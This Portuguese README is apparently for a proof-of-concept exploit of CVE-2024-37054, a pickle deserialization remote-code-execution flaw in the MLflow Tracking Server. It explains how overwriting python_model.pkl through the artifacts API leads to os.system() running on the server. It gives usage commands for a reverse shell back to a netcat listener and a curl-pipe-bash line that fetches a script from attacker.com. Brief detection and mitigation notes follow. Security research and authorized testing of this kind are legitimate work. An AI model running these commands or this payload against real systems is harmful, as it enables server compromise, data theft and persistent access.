
Exploit de prova de conceito para CVE-2024-37054, um RCE por desserialização de pickle no MLflow Tracking Server. Automatiza a sobrescrita de artefatos e a entrega de payload para execução remota de código autenticada.
Prova de conceito para uma vulnerabilidade crítica de desserialização pickle no MLflow Tracking Server, permitindo execução remota de código autenticada.
⚠️ Apenas para fins educacionais e testes de segurança autorizados. Não use contra sistemas que não possui ou sem permissão explícita por escrito.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2024-37054 |
| Pontuação CVSS | 8.8 (ALTA) |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Versões Afetadas | MLflow < 2.14.3 |
| Versão Corrigida | MLflow ≥ 2.14.3 |
| Tipo de Vulnerabilidade | CWE-502: Desserialização de Dados Não Confiáveis |
| Vetor de Ataque | Rede |
| Privilégios Necessários | Baixo (credenciais válidas) |
| Interação do Usuário | Nenhuma |
O MLflow Tracking Server desserializa artefatos de modelo via módulo pickle do Python ao carregar modelos para inferência. Um atacante autenticado pode sobrescrever o artefato python_model.pkl no repositório de artefatos do MLflow com uma carga pickle maliciosa. Quando o modelo é carregado posteriormente (por exemplo, durante uma requisição de predição), a carga é desserializada, executando código arbitrário no servidor.
Pré-requisitos para exploração:
A exploração bem-sucedida resulta em execução remota de código no nível de privilégio do processo do servidor MLflow, o que pode levar ao comprometimento total do sistema, exfiltração de dados, movimento lateral ou acesso persistente.
python_model.pkl é substituído por uma carga pickle manipulada via PUT /api/2.0/mlflow-artifacts/artifacts/....pickle.load() no artefato comprometido.__reduce__ do pickle invoca os.system(), executando o comando do atacante.A carga usa os.system() (um built-in C) em vez de cloudpickle para maximizar a compatibilidade entre versões e evitar problemas de bytecode específicos da versão do Python.
Requisitos: Python 3.7+, requests
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054
# Inicie um listener
nc -lvnp 4444
# Execute o exploit
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>
# Default credentials, basic reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444
# Custom MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:MySecretPass123
# App login + MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:password \
--app-username admin \
--app-password admin123
# Custom command instead of reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--cmd "curl http://attacker.com/shell.sh | bash"
# Target specific experiment, increase delay for slow servers
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--experiment-id 1 --delay 5
# Verbose output
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v
PUT para endpoints /api/2.0/mlflow-artifacts/artifacts/python_model.pklPOST /api/2.0/mlflow/runs/search seguido imediatamente por modificações nos artefatosos.system() a partir de processos MLflow# Artifact modification in access logs
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log
# File integrity monitoring
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts
Imediata:
Longo prazo:
Esta ferramenta destina-se exclusivamente a:
Não use esta ferramenta em qualquer sistema que você não possua ou sem permissão explícita por escrito para testar. O autor não assume nenhuma responsabilidade pelo uso indevido.
MIT — consulte LICENSE para detalhes.
| Argumento | Descrição |
|---|
target | URL da aplicação alvo |
mlflow | URL do servidor MLflow Tracking |
lhost | Host do atacante para callback do reverse shell |
lport | Porta do atacante para callback do reverse shell |
--mlflow-creds USER:PASS | Credenciais MLflow (padrão: admin:password) |
--app-username | Nome de usuário de login da aplicação |
--app-password | Senha de login da aplicação |
--app-login-url | Caminho do endpoint de login |
--upload-url | Caminho do endpoint de upload |
--predict-url | Caminho do endpoint de predição |
--experiment-id ID | Alvejar um ID específico do experimento |
--delay SECONDS | Atraso entre etapas (padrão: 2s) |
--cmd COMMAND | Comando personalizado a executar |
--verbose / --quiet | Controle de verbosidade |
--no-color | Desabilitar saída colorida |